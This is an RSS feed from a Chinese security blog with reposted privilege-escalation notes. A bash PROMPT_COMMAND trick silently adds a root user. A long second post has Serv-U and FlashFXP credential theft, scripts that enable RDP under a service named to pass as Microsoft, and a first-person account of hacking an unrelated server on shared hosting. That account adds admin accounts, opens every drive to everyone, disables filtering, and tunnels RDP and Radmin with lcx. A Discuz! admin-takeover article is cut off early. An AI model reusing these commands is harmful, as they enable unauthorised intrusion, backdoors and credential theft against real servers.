<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>大西瓜的杂货铺 &#187; 提权</title>
	<atom:link href="http://www.daxigua.com/archives/tag/%e6%8f%90%e6%9d%83/feed" rel="self" type="application/rss+xml" />
	<link>http://www.daxigua.com</link>
	<description>互联网，网络安全，摄影，电影，杂七杂八</description>
	<lastBuildDate>Thu, 09 Sep 2010 15:45:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>利用BASH提权的技巧</title>
		<link>http://www.daxigua.com/archives/2516</link>
		<comments>http://www.daxigua.com/archives/2516#comments</comments>
		<pubDate>Tue, 29 Dec 2009 14:27:40 +0000</pubDate>
		<dc:creator>Daxigua</dc:creator>
				<category><![CDATA[技术杂文]]></category>
		<category><![CDATA[BASH]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.daxigua.com/archives/2516</guid>
		<description><![CDATA[作者：xi4oyu 要利用成功的话，还得看管理员的习惯，是否喜欢用su切换成root 看个BASH的环境变量 $PROMPT_COMMAND 这个变量保存了在主提示符$PS1显示之前需要执行的命令. export PROMPT_COMMAND=&#8221;/usr/sb... ]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://hi.baidu.com/xi4oyu/blog/item/b6eaad1371f6d6c5c2fd7875.html" target="_blank">xi4oyu</a></p>
<p>要利用成功的话，还得看管理员的习惯，是否喜欢用su切换成root</p>
<p>看个<strong>BASH</strong>的环境变量</p>
<p>$PROMPT_COMMAND</p>
<p>这个变量保存了在主提示符$PS1显示之前需要执行的命令.</p>
<p>export PROMPT_COMMAND=&#8221;/usr/sbin/useradd -o -u 0 kkoo &amp;&gt;/dev/null &amp;&amp; echo kkoo:123456 | /usr/sbin/chpasswd &amp;&gt;/dev/null &amp;&amp; unset PROMPT_COMMAND&#8221;<span id="more-2516"></span></p>
<p>看图：</p>
<p><a href="http://www.daxigua.com/wp-content/uploads/2009/12/bash.png"><img class="alignnone size-full wp-image-2515" title="bash" src="http://www.daxigua.com/wp-content/uploads/2009/12/bash.png" alt="" width="643" height="190" /></a></p>
<p>随后你用su变成root，看看是否多了个用户呢</p>
<p>也可以建立用户删除不了的文件<br />
比如，用户想删除某个，你在prompt_command里面加入cp命令，每次他执行完del都会又cp一个过去</p>
<p>具体怎么应用看你自己了</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daxigua.com/archives/2516/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>服务器提权大法笔记</title>
		<link>http://www.daxigua.com/archives/2510</link>
		<comments>http://www.daxigua.com/archives/2510#comments</comments>
		<pubDate>Sat, 26 Dec 2009 16:12:44 +0000</pubDate>
		<dc:creator>Daxigua</dc:creator>
				<category><![CDATA[技术杂文]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.daxigua.com/archives/2510</guid>
		<description><![CDATA[From:http://hi.baidu.com/ymhacker/blog/item/fce947e997c50034b90e2dad.html flashfxp提权 重点将对方的.dat文件全部弄下来。。。然后揽权 具体是这三个文件 quick.dat Sites.dat Stats.dat 然后就是快速连接，，接着用passlo... ]]></description>
			<content:encoded><![CDATA[<p>From:http://hi.baidu.com/ymhacker/blog/item/fce947e997c50034b90e2dad.html</p>
<p>flashfxp提权<br />
重点将对方的.dat文件全部弄下来。。。然后揽权</p>
<p>具体是这三个文件</p>
<p>quick.dat</p>
<p>Sites.dat</p>
<p>Stats.dat</p>
<p>然后就是快速连接，，接着用passlook来查看对方的密码。。<span id="more-2510"></span></p>
<p>=====================================================================================================================<br />
serv-u没有权限查看的情况下</p>
<p>asp直接揽权</p>
<p>上传一个aspx的木马，，然后提权。。前提是默认密码没有改动，并且服务器直持aspx的解析</p>
<p>asp可以直接提权的情况下。可以执行很多种方法的<br />
如果可以将对方的serv-uadmin给下载下来。。然后查看对方的密码。。再在提权也是不错的<br />
winhex改的是serv-admin<br />
利用winhex查看localadministrators</p>
<p>首先是改了密码没改账户的情况。我们可以直接用UE打开ServUAdmin.exe，搜索账户“LocalAdministrator”<br />
紧着着账户后面的字符串就是密码。</p>
<p>一般是这样的格式：LocalAdministrator.password.Globl……，其中Password就是我们需要的密码了。<br />
======</p>
<p>工具读取的是serv-demon.exe的密码<br />
=========================================================================================</p>
<p>webshell开启3389</p>
<p>对于serv-u 6.3直接揽权是不能够成功的..要用aspx版的&#8230;</p>
<p>当然只要这种serv-u可以直接在线提权的..那么.我们可以直接用serv-u来进行提权</p>
<p>3389.bat 来开启对方的3389</p>
<p>内容如下</p>
<p>echo Windows Registry Editor Version 5.00&gt;&gt;C:\RECYCLER\3389.reg<br />
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&gt;&gt;C:\RECYCLER\3389.reg<br />
echo &#8220;fDenyTSConnections&#8221;=dword:00000000&gt;&gt;C:\RECYCLER\3389.reg<br />
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]&gt;&gt;C:\RECYCLER\3389.reg<br />
echo &#8220;PortNumber&#8221;=dword:00000d3d&gt;&gt;C:\RECYCLER\3389.reg<br />
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]&gt;&gt;C:\RECYCLER\3389.reg<br />
echo &#8220;PortNumber&#8221;=dword:00000d3d&gt;&gt;C:\RECYCLER\3389.reg<br />
regedit /s C:\RECYCLER\3389.reg</p>
<p>===============================================================================================</p>
<p>教你如何开3389端口的多种方法!</p>
<p>首先我们制作开启3389的工具</p>
<p>先把下面的注册表内容copy一份，另存为3389.reg注册表文件</p>
<p>注册表内容：</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]</p>
<p>&#8220;Enabled&#8221;=&#8221;0&#8243;</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]</p>
<p>&#8220;ShutdownWithoutLogon&#8221;=&#8221;0&#8243;</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]</p>
<p>&#8220;EnableAdminTSRemote&#8221;=dword:00000001</p>
<p>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]</p>
<p>&#8220;TSEnabled&#8221;=dword:00000001</p>
<p>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]</p>
<p>&#8220;Start&#8221;=dword:00000002</p>
<p>[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]</p>
<p>&#8220;Hotkey&#8221;=&#8221;1&#8243;</p>
<p>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]</p>
<p>&#8220;Start&#8221;=dword:00000002</p>
<p>&#8220;ErrorControl&#8221;=dword:00000001</p>
<p>&#8220;ImagePath&#8221;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\</p>
<p>74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\</p>
<p>00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00</p>
<p>&#8220;ObjectName&#8221;=&#8221;LocalSystem&#8221;</p>
<p>&#8220;Type&#8221;=dword:00000010</p>
<p>&#8220;Description&#8221;=&#8221;Microsoft&#8221;</p>
<p>&#8220;DisplayName&#8221;=&#8221;Microsoft&#8221;</p>
<p>再把下面的内容保存为批处理文件3389.bat</p>
<p>安装批处理内容：</p>
<p>copy termsrv.exe eventlog.exe</p>
<p>regedit.exe /s 3389.reg</p>
<p>del 3389.reg</p>
<p>del 3389.exe</p>
<p>del 3389.bat</p>
<p>用winrar制作成exe自解压缩包</p>
<p>=======================================================================================<br />
从上传webshell到突破TCP/IP筛选到3389终端登陆<br />
作者：未知 文章来源：本站整理 点击数： 30 更新时间：2007-1-7 19:31:39<br />
一：得到webshell<br />
今天晚上的一次小小测试，由于本人太菜，再高深的技术我也不会，只能这样了&#8230;&#8230;&#8230;.<br />
一切都已经过去了，没有办法补图了，希望能看的懂这个小帖子。<br />
今天有是无聊的一天，晚上实在无聊没有事情干，就到一个视频聊天站点看秀，嘿嘿~<br />
突然发现一个聊天室特别的火暴，人数已经有500人在里面了（满员了），刷了n次也没有进去&#8230;&#8230;&#8230;.更加郁闷了！：（<br />
想想反正也是没有事情做，测试一下主机安全做的怎么样吧，呵呵（太菜，说测试人家安全实在是抬高自己了）<br />
在cmd下ping了一下得到了对方的ip，然后登陆<a href="http://whois.webhosting.info/">http://whois.webhosting.info/</a>对方ip看看有没有其他的站点，哈，这下发了，上面有几十个</p>
<p>站点，估计我还是能找到一个两个带漏洞的站点的`<br />
经过漫长的查找，终于找到一个动易带漏洞的页面<a href="http://www.xxxx.net/Upfile_Soft.asp">http://www.xxxx.net/Upfile_Soft.asp</a>，上传一个webshell（海阳2005正式版）先（怎么上</p>
<p>传我就不罗嗦了，上传工具现在漫天飘了）。</p>
<p>二：成功提升权限建立用户<br />
拿到webshell后高高兴兴的登陆了，突然发现什么权限都没有，只能在自己的webshell所在的目录里面打转（c.d.e.f盘都浏览不了），连删除</p>
<p>文件的权限都没有，郁闷呀&#8230;&#8230;..<br />
回到〖Server〗下看看主机开了什么服务吧，经过发现他开了终端服务和serv-u服务，哈，这下有搞头了^_^用superscan扫描了一下他的ip，</p>
<p>果然通过banner看出他是用的serv-u，版本5.0。<br />
到〖Wscript.Shell〗下面试试看能执行cmd命令不能，输入net user后没有反映，再试通过Wscript.Shell能执行cmd命令不能，再次输入net</p>
<p>user后执行返回了对方的user名单，哈哈，这下好了，能拿下了！！<br />
上传serv-u提升工具到D:\a004\tggtwe\****.com\UploadSoft目录下面，改名为：test.exe，然后回到〖Wscript.Shell〗下执行命令去了，嘿</p>
<p>嘿，马上一只肥鸡就要到手了，高兴ing~<br />
通过Wscript.Shell执行cmd命令：<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;net user guest /active:yes&#8221; #激活guest账号，我喜欢用这个账号<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;net user guest lvhuana&#8221; #把guest账号的密码设定为lvhuana<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;net localgroup administrators guest /add&#8221; #提升guest权限到admin权限<br />
好了，账号建立完毕，执行一下net localgroup administrators看看成功没，通过回显知道添加成功了。然后执行netstat -an后看到他开的</p>
<p>终端端口是默认的3389，OK，连接试试~</p>
<p>三：解决TCP/IP筛选<br />
连接不上！？晕&#8230;&#8230;&#8230;..再拿出superscan来扫一下他的3389，根本扫不到&#8230;&#8230;..（开了防火墙！？靠，我的点真背&#8230;..）<br />
没有办法了，再次回到Wscript.Shell执行cmd命令：<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe c: /e /t /g everyone:F&#8221; #把c盘设置为everyone可以浏览<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe d: /e /t /g everyone:F&#8221; #把d盘设置为everyone可以浏览<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe e: /e /t /g everyone:F&#8221; #把e盘设置为everyone可以浏览<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe f: /e /t /g everyone:F&#8221; #把f盘设置为everyone可以浏览<br />
这下最少可以遍历整个硬盘了，我在硬盘里面到处的翻，找遍了也没有找到他的防火墙文件，这下心里有数了，肯定是他进行TCP/IP筛选了！</p>
<p>（当然也有是内网做服务器的可能，具体大家自己可以根据ipconfig -all来判断）<br />
突破TCP/IP筛选我们可以更改他的注册表来实现，我们要做的就是导出他注册表的三处，更改后再导入就可以了，回到〖Wscript.Shell〗执行</p>
<p>cmd命令：<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;regedit -e D:\a004\tggtwe\****.com\UploadSoft\1.reg</p>
<p>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip&#8221; #导出注册表里关于TCP/IP筛选的第一处<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;regedit -e D:\a004\tggtwe\****.com\UploadSoft\2.reg</p>
<p>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip&#8221; #导出注册表里关于TCP/IP筛选的第二处<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;regedit -e D:\a004\tggtwe\****.com\UploadSoft\3.reg</p>
<p>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip&#8221; #导出注册表里关于TCP/IP筛选的第三处<br />
然后回到〖Stream〗或〖FSO〗发现1.reg,2.reg,3.reg已经安静的躺在那里了，嘿嘿~<br />
把1.reg,2.reg,3.reg下载回来到自己的硬盘里面编辑一下，把关于TCP/IP筛选的几个地方改一下，首先打开1.reg找</p>
<p>到&#8221;EnableSecurityFilters&#8221;=dword:00000001把最后面的数字1改成0后保存，然后更改2.reg,3.reg，更改方法一样，我就不再罗嗦了~<br />
然后我们把1.reg,2.reg,3.reg再上传回对方的机器里面（这里我们要选上覆盖模式，因为没有权限删除原来的1.reg,2.reg,3.reg），上传成</p>
<p>功后再回到〖Wscript.Shell〗执行cmd命令：<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;regedit -s D:\a004\tggtwe\****.com\UploadSoft\1.reg&#8221; #安静模式下把我们修改完的</p>
<p>1.reg导入到他的注册表<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;regedit -s D:\a004\tggtwe\****.com\UploadSoft\2.reg&#8221; #安静模式下把我们修改完的</p>
<p>2.reg导入到他的注册表<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;regedit -s D:\a004\tggtwe\****.com\UploadSoft\3.reg&#8221; #安静模式下把我们修改完的</p>
<p>3.reg导入到他的注册表<br />
OK！导入后重新启动他的机器后在能解决TCP/IP筛选问题，再在〖Wscript.Shell〗执行cmd命令：<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;iisreset /reboot /timeout:00&#8243; #利用他自身的iis服务来重新启动他的机</p>
<p>器，/timeout:00这个参数是让他立即重新启动<br />
执行完后我们再用superscan已经扫不到他了，吼吼~已经重新启动了！</p>
<p>四：成功用终端登陆<br />
经过漫长的等待后（其实时间不长，只是我在这里已经等不及了，嘿嘿~），终于可以用superscan扫到他了，并且可以扫到他的3389端口了，</p>
<p>哈哈，终于成功了，拿出终端登陆器顺利的用我刚才建立的user：guest，pass：lvhuana登陆上了！<br />
好了，这篇垃圾文章到此就该结束了，已经凌晨了，也该收工睡觉了~由于本人太菜，错误地方肯定在所难免，让大家见笑了，同时望大家指正</p>
<p>！<br />
==================================================================================================<br />
服务器配置的过程中是要重起的&#8230;tcp/ip筛选的配置<br />
去掉tcp/ip筛选限制的思路<br />
TCP/IP筛选在注册表里有三处，分别是：<br />
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip<br />
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip<br />
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip</p>
<p>分别用<br />
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip<br />
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip<br />
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip<br />
命令来导出注册表项</p>
<p>然后把 三个文件里的EnableSecurityFilters&#8221;=dWord:00000001，改成EnableSecurityFilters&#8221;=dword:00000000</p>
<p>再将以上三个文件分别用<br />
regedit -s D:\a.reg<br />
regedit -s D:\b.reg<br />
regedit -s D:\c.reg<br />
导入注册表即可</p>
<p>===================================================================================</p>
<p>服务器去除浏览限制<br />
三：解决TCP/IP筛选<br />
连接不上！？晕&#8230;&#8230;&#8230;..再拿出superscan来扫一下他的3389，根本扫不到&#8230;&#8230;..（开了防火墙！？靠，我的点真背&#8230;..）<br />
没有办法了，再次回到Wscript.Shell执行cmd命令：<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe c: /e /t /g everyone:F&#8221; #把c盘设置为everyone可以浏览<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe d: /e /t /g everyone:F&#8221; #把d盘设置为everyone可以浏览<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe e: /e /t /g everyone:F&#8221; #把e盘设置为everyone可以浏览<br />
D:\a004\tggtwe\****.com\UploadSoft\test.exe &#8220;cacls.exe f: /e /t /g everyone:F&#8221; #把f盘设置为everyone可以浏览</p>
<p>===================================================================================<br />
4899提权大法</p>
<p>这种的只能用serv-u.exe或者用1.aspx来进行提权，而不能直接在那个框框提交,不然是不会成功的</p>
<p>c:\ftp.exe &#8220;c:\aaa.reg&#8221;<br />
c:\ftp.exe &#8220;c:\admdll.dll&#8221;<br />
c:\ftp.exe &#8220;c:\raddrv.dll&#8221;<br />
c:\ftp.exe &#8220;c:\r_server.exe&#8221;<br />
C:\RECYCLER\aaa.reg<br />
C:\RECYCLER\admdll.dll<br />
C:\RECYCLER\raddrv.dll<br />
C:\RECYCLER\r_server.exe<br />
r_server.exe /port:4899 /pass:123456 /save /silence<br />
=================================================================================<br />
serv-u有修改权限提权</p>
<p>d:\Program Files\Serv-U\ServUDaemon.ini<br />
Domain1=0.0.0.0||21|ttttttt|1|0|0</p>
<p>[Domain1]<br />
User1=tianya520|1|0<br />
[USER=tianya520|1]<br />
Password=bi03295E0289695A0EC4BF4D8878F30BC7<br />
HomeDir=c:\<br />
TimeOut=600<br />
Maintenance=System<br />
Note1=&#8221;Wizard generated account&#8221;<br />
Access1=C:\|RWAMELCDP<br />
===<br />
[Domain2]<br />
User1=tianyazjq|1|0<br />
[USER=tianyazjq|2]<br />
Password=bi03295E0289695A0EC4BF4D8878F30BC7<br />
HomeDir=c:\<br />
PasswordLastChange=1183270123<br />
TimeOut=600<br />
Access1=C:\|RWAMELCDP</p>
<p>以下的不用<br />
[DOMAINS]<br />
Domain1=192.168.3.128||21|100|2|0|0</p>
<p>c:\winnt\system32\inetsrv\data\</p>
<p>quote site exec net user tianya$ 1314520 /add</p>
<p>quote site exec net localgroup administrators tianya$ /add</p>
<p>6.3<br />
[GLOBAL]<br />
Version=6.3.0.0<br />
PacketTimeOut=300<br />
UseUPnP=0<br />
ProcessID=4016<br />
[Domain1]<br />
User1=tianya520|1|0<br />
[USER=tianya520|1]<br />
Password=bi03295E0289695A0EC4BF4D8878F30BC7<br />
HomeDir=c:\<br />
TimeOut=600<br />
Maintenance=System<br />
Note1=&#8221;Wizard generated account&#8221;<br />
Access1=C:\|RWAMELCDP[DOMAINS]<br />
Domain1=192.168.3.128||21|100|2|0|0<br />
将domain2以下替换也可以1314520<br />
[Domain2]<br />
User1=tianya520|1|0</p>
<p>User2=wokao|1|0<br />
[USER=tianya520|2]<br />
Password=mh145ECC36D9B3A24553FBEA44539BF53C<br />
HomeDir=c:\<br />
PasswordLastChange=1183270824<br />
TimeOut=600<br />
Maintenance=System<br />
Access1=C:\|RWAMELCDP<br />
[USER=wokao|2]<br />
Password=evF73373D1DD342F450526DF7AF5AF0356<br />
HomeDir=c:\<br />
PasswordLastChange=1183271173<br />
TimeOut=600<br />
Maintenance=System<br />
Access1=C:\|RWAMELCDP<br />
=================================<br />
[Domain2]<br />
User1=test100|1|0<br />
[USER=test100|2]<br />
Password=qe5827CFDF302C0BCE780CE9C28AED63C5<br />
HomeDir=c:\<br />
PasswordLastChange=1183271629<br />
TimeOut=600<br />
Maintenance=System<br />
Access1=C:\|RWAMELCDP<br />
501 Cannot EXEC command line (error=2).<br />
对方将cmd.exe 及 net user 移走<br />
net.exe<br />
net1.exe<br />
quote site exec net1 user ffffff 1314520 /add<br />
=================================================================================<br />
lcx+radmin内网提权<br />
首先在本地监听端口</p>
<p>lcx －listen 9200 9800<br />
好了<br />
在肉鸡上运行radmin，这里我已经运行了，下面用lcx端口映射</p>
<p>本机ip：60.176.26.20</p>
<p>60.176.26.20<br />
的确是本机的ip，这就是ip映射的神奇<br />
肉鸡ip：192.168.1.2<br />
执行 lcx －slave 60.176.26.20 9200 192.168.1.2 4899<br />
呵呵有反映了吧，好我们用radmin连接本机的9800，<br />
看到了把，不是本机的画面哦，</p>
<p>3389<br />
本地     lcx -listen 51 3800<br />
对方     lcx -slave 121.34.63.48 51 对方内网ip 3389<br />
d:\RECYCLER\su.exe &#8220;lcx -slave 121.34.63.48 51 192.168.17.252 3389&#8243;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daxigua.com/archives/2510/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>提权技术研究_Discuz!管理员复制</title>
		<link>http://www.daxigua.com/archives/2478</link>
		<comments>http://www.daxigua.com/archives/2478#comments</comments>
		<pubDate>Tue, 22 Dec 2009 01:31:10 +0000</pubDate>
		<dc:creator>daxigua</dc:creator>
				<category><![CDATA[技术杂文]]></category>
		<category><![CDATA[DISCUZ]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[管理员]]></category>

		<guid isPermaLink="false">http://www.daxigua.com/archives/2478</guid>
		<description><![CDATA[注：原文中也没看到图片，不知道是怎么回事。 作者：simeon，原文地址： http://www.antian365.com/viewthread.php?tid=5297&#38;extra=page%3D1 Crossday Discuz! Board 论坛系统（简称 Discuz! 论坛）是一个采用 PHP 和 My... ]]></description>
			<content:encoded><![CDATA[<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US"></p>
<div>注：原文中也没看到图片，不知道是怎么回事。</div>
<div>作者：simeon，原文地址：</div>
<div><a href="http://www.antian365.com/viewthread.php?tid=5297&amp;extra=page%3D1"><span style="color: #000000;">http://www.antian365.com/viewthread.php?tid=5297&amp;extra=page%3D1</span></a></div>
<p></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: verdana;" lang="EN-US">Crossday Discuz! Board </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛系统（简称</span><span style="color: black; font-family: verdana;" lang="EN-US"> Discuz! </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛）是一个采用</span><span style="color: black; font-family: verdana;" lang="EN-US"> PHP </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">和</span><span style="color: black; font-family: verdana;" lang="EN-US"> MySQL </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">等其它多种数据库构建的高效论坛解决方案。作为商业软件产品，</span><span style="color: black; font-family: verdana;" lang="EN-US"> Discuz! </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">在代码质量，运行效率，负载能力，安全等级，功能可操控性和权限严密性等方面有着良好的口碑。对于站长而言，利用</span><span style="color: black; font-family: verdana;" lang="EN-US"> Discuz! </span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">均能够在最短的时间内，花费最低的费用，采用最少的人力，架设一个性能优异、功能全面、安全稳定的社区论坛平台。它能运行于</span><span style="color: black; font-family: verdana;" lang="EN-US">Windows</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">平台和</span><span style="color: black; font-family: verdana;" lang="EN-US">Linux</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">平台，目前已经有超过</span><span style="color: black; font-family: verdana;" lang="EN-US">100</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">万的用户。<span id="more-2478"></span></span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">使用</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">来建设论坛方便快捷，能够满足论坛功能需求，其安全性与同类相比是相对最高的，因此深受广大用户的喜爱，而在网络攻防技术研究中最为核心的东西就是获取用户数据以及获得系统的完全控制权限，本文主要针对</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">数据库如何获取管理员权限而展开研究的。在某些情况下，是完全可以获取一个</span><span style="color: black; font-family: verdana;" lang="EN-US">Webshell</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">，在获取</span><span style="color: black; font-family: verdana;" lang="EN-US">Webshell</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">的情况下，可以进一步获取</span><span style="color: black; font-family: verdana;" lang="EN-US">Mysql</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">等有关数据库连接的用户和密码等信息，由于</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">特有的加密方式，即使通过</span><span style="color: black; font-family: verdana;" lang="EN-US">SQL</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">注入猜解获取了</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛管理员的密码也无法破解，因此如何通过操作数据库来获得管理员权限就尤为有用。本文研究的技术可以应用在两个方面：</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">（</span><span style="color: black; font-family: verdana;" lang="EN-US">1</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">）恢复论坛管理员的密码。对于</span><span style="color: black; font-family: verdana;" lang="EN-US">Discuz!</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">论坛管理员来说，如果忘记密码了，那么对于整个论坛的管理将无从下手，因此只能想办法恢复。</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">（</span><span style="color: black; font-family: verdana;" lang="EN-US">2</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">）提升权限获取用户数据库文件。在得到</span><span style="color: black; font-family: verdana;" lang="EN-US">Webshell</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">的情况下，通过本文研究的技术可以轻易的查看管理员信息，修改论坛设置、备份数据库等操作，还可以让普通用户具有管理员权限。</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">实验环境：</span><span style="color: black; font-family: verdana;" lang="EN-US"></span></span></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-border-alt: none black 0cm; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-char-indent-count: 2.0; padding: 0cm;"><span style="font-size: small;"><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">（</span><span style="color: black; font-family: verdana;" lang="EN-US">1</span><span style="color: black; font-family: 宋体; mso-ascii-font-family: verdana;">）数据库——</span><span style="color: black; font-family: verdana;" lang="EN-US">Mysql5.1</span></span></div>
